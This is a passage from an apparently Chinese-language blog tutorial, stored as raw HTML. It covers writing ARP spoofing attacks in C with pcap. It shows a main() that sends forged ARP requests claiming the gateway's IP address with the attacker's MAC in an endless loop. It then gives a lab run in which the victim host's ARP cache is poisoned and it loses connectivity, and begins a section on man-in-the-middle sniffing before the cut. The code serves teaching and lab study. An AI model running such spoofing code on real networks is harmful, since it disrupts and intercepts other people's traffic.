style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">\/\/A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">void&nbsp;Input(char&nbsp;*Gateway_IP)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165\u7f51\u5173IP:&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(scanf(&#8220;%d.%d.%d.%d&#8221;,&amp;Gateway_IP[0],&amp;Gateway_IP[1],&amp;Gateway_IP[2],&amp;Gateway_IP[3])!=4)&nbsp;exit(-1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">int&nbsp;main(int&nbsp;argc,char&nbsp;*argv[])<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;n=0;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;devName[100];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;myIPAddress[15],myMAC[6];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;ARPPacket[42];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;Gateway_IP[16];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(ChooseDev(devName,sizeof(devName),myIPAddress)!=TRUE)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u83b7\u53d6\u7f51\u5361\u5931\u8d25\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u672c\u673a\u7f51\u5361MAC<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(GetAdapterMAC(myIPAddress,myMAC)!=TRUE)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u83b7\u53d6\u7f51\u5361MAC\u5931\u8d25\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6253\u5f00\u7f51\u5361<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=OpenAdapter(devName))==NULL)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u7f51\u5361\u6253\u5f00\u51fa\u9519\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8f93\u5165\u7f51\u5173\u4fe1\u606f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;Input(Gateway_IP);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5ARP\u8bf7\u6c42\u7684\u65b9\u5f0f\u6b3a\u9a97\u4e3b\u673aA<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket),NULL,NULL,myMAC,Gateway_IP,1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;while(1)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendPacket(hpcap,ARPPacket,sizeof(ARPPacket));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u5df2\u53d1\u9001%d\u4e2a\u6570\u636e\u5305\u3002\\r&#8221;,++n);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(3000);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u8fd0\u884c\u754c\u9762\u5982\u56fe\u6240\u793a\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/8cda81fc7ad906927144235dda5fdf1520140124162426.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:149\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-8cda81fc7ad906927144235dda5fdf1520140124162426.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u73b0\u5728\u6765\u505a\u4e00\u4e2a\u5b9e\u9a8c\uff0c\u672c\u673aA\uff08IP\uff1a192.168.0.100\uff1bMAC\uff1a00-26-c7-3d-3a-4a\uff09\uff0c\u5728\u540c\u4e00\u7f51\u5173\uff08IP\uff1a192.168.0.1\uff1bMAC\uff1ac8-3a-35-39-38-b0\uff09\u4e0b\uff0c\u8fd8\u6709\u53e6\u4e00\u53f0\u4e3b\u673aB\uff08IP\uff1a192.168.0.101\uff1bMAC\uff1a00-0c-29-06-8c-51\uff09\uff0c\u73b0\u5728\u6211\u4eec\u60f3\u8ba9B\u53d1\u9001\u81f3\u7f51\u5173\u7684\u6570\u636e\u53d1\u9001\u5230\u81ea\u5df1\u4e3b\u673a\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u5411\u5176\u53d1\u9001ARP\u4f2a\u9020\u5305\uff0c\u6765\u4f2a\u9020\u7f51\u5173\u5730\u5740\u3002\u5982\u56fe\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/30e62fddc14c05988b44e7c02788e18720140124162448.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:151\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-30e62fddc14c05988b44e7c02788e18720140124162448.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7531\u4e8e\u6b64\u7a0b\u5e8f\u662f\u901a\u8fc7\u53d1\u9001<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">ARP<span style=\"font-family:\u5b8b\u4f53\">\u8bf7\u6c42\u5305\u8fbe\u5230\u6b3a\u9a97\u76ee\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u4e0d\u5fc5\u8003\u8651\u63a5\u6536\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5730\u5740\u548c<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u53ea\u9700\u8981\u77e5\u9053\u7f51\u5173<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5728<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">B<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e0a\u6211\u4eec\u7528\u79d1\u6765\u7f51\u7edc\u5206\u6790\u7cfb\u7edf\u6765\u6293\u53d6\u4e00\u4e0b\u94fe\u8def\u5c42\u7684\u6570\u636e\u5305\u770b\u770b\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/ae566253288191ce5d879e51dae1d8c320140124161732.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:132\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-ae566253288191ce5d879e51dae1d8c320140124161732.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u53ef\u89c1\uff0c\u6b64\u65f6<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">B<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4e3b\u673a\u4e0d\u65ad\u7684\u6536\u5230\u4e86<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">ARP<span style=\"font-family:\u5b8b\u4f53\">\u5e7f\u64ad\u8bf7\u6c42\uff0c\u6211\u4eec\u6253\u5f00\u5176\u4e2d\u4e00\u4e2a\u6765\u770b\u770b\u5177\u4f53\u5185\u5bb9\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/62bf1edb36141f114521ec4bb417557920140124161740.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:133\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-62bf1edb36141f114521ec4bb417557920140124161740.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7531\u6b64\u53ef\u89c1\uff0c\u5728\u4ee5\u592a\u7f51\u5934\u90e8\u4e2d\uff0c\u6e90\u5730\u5740\u662fA\u4e3b\u673a\u7684MAC\u5730\u5740\u3002ARP\u5934\u4e2d\uff0c\u6e90IP\u5730\u5740\u662f\u7f51\u5173IP\uff0c\u4f46\u662f\u6e90\u7269\u7406\u5730\u5740\u5374\u662fA\u4e3b\u673a\u7684MAC\u5730\u5740\uff0c\u8fd9\u6837\u5c31\u5f62\u6210\u4e86\u4e00\u4e2a\u9519\u8bef\u7684\u5bf9\u5e94\u5173\u7cfb\uff0c\u4f7f\u5f97B\u4e3b\u673a\u7684ARP\u7f13\u5b58\u8868\u88ab\u4fee\u6539\u6210\u4e86\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/9414a8f5b810972c3c9a0e2860c0753220140124162458.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:154\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-9414a8f5b810972c3c9a0e2860c0753220140124162458.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u8fd9\u6837\u7531<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">B<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u5411\u7f51\u5173\u53d1\u9001\u7684\u6570\u636e\u5c31\u9519\u8bef\u7684\u53d1\u9001\u5230\u4e86<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e0a\u3002\u4f46\u662f\u6211\u4eec\u5728<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e0a\u5e76\u6ca1\u6709\u63d0\u4f9b\u6570\u636e\u5305\u8f6c\u53d1\u529f\u80fd\uff0c\u6240\u4ee5\u6b64\u65f6<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u8868\u73b0\u4e3a\u65ad\u7f51\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:16.0000pt;font-family:'\u5b8b\u4f53'\"><span>2.<\/span><\/span><span style=\"font-weight:normal;font-size:16.0000pt;font-family:'\u5b8b\u4f53'\">\u4e2d\u95f4\u4eba\u653b\u51fb<span style=\"font-family:'Times New Roman'\">+<\/span><span style=\"font-family:\u5b8b\u4f53\">\u55c5\u63a2<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u60f3\u5fc5\u5927\u5bb6\u5bf9\u4e8e\u8fd9\u79cd\u653b\u51fb\u65b9\u5f0f\u5df2\u7ecf\u4e86\u82e5\u6307\u638c\u4e86\uff0c\u8fd9\u53ef\u8c13\u662f\u5185\u7f51\u6e17\u900f\u4e2d\u7684\u4e00\u5927\u6740\u624b\u950f\uff0c\u5bf9\u4e8e\u5b83\u7684\u653b\u51fb\u624b\u6cd5\u548c\u539f\u7406\u5728\u8fd9\u91cc\u5c31\u4e0d\u518d\u8d58\u8ff0\uff0c\u6211\u4eec\u76f4\u63a5\u6765\u5b66\u4e60\u4e00\u4e0b\u5982\u4f55\u7f16\u7a0b\u5b9e\u73b0\u8fd9\u79cd\u653b\u51fb\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5728\u6b64\u4e4b\u524d\u6211\u4eec\u5148\u6765\u770b\u770b\u4e00\u4e2a\u5b8c\u6574\u7684\u4ee5\u592a\u7f51\u5e27\u7ed3\u6784\u662f\u4ec0\u4e48\u6837\u7684\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/edab7ba7e203cd7576d1200465194ea820140124162502.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:155\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-edab7ba7e203cd7576d1200465194ea820140124162502.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;\u5bf9\u4e8e\u4ee5\u592a\u7f51\u5e27\u7ed3\u6784\u5927\u5bb6\u5e94\u8be5\u6709\u4e9b\u719f\u6089\uff0c\u524d\u9762\u5728\u8bb2\u5230<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5305\u7684\u6784\u9020\u65f6\u4e5f\u5c31\u662f\u8fd9\u79cd\u7ed3\u6784\uff0c\u4e0d\u8fc7\u5c11\u4e86\u524d\u5bfc\u7b26\u548c<\/span><span style=\"font-family:'Times New Roman'\">FCS<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u6240\u8c13\u524d\u5bfc\u7b26\uff0c\u5176\u4f5c\u7528\u5c31\u662f\u63d0\u9192\u63a5\u6536\u7cfb\u7edf\u6709\u5e27\u7684\u5230\u6765\u3002<\/span><span style=\"font-family:'Times New Roman'\">FCS<\/span><span style=\"font-family:\u5b8b\u4f53\">\u53c8\u540d\u201c\u5e27\u68c0\u9a8c\u5e8f\u5217\u201d\uff0c\u7528\u6765\u68c0\u6d4b\u5e27\u5728\u4f20\u8f93\u7684\u8fc7\u7a0b\u4e2d\u662f\u5426\u88ab\u7834\u574f\uff0c\u6709\u5174\u8da3\u7684\u670b\u53cb\u53ef\u4ee5\u5728\u7f51\u4e0a\u770b\u770b\u8be6\u7ec6\u4ecb\u7ecd\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:16.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;<\/span><span 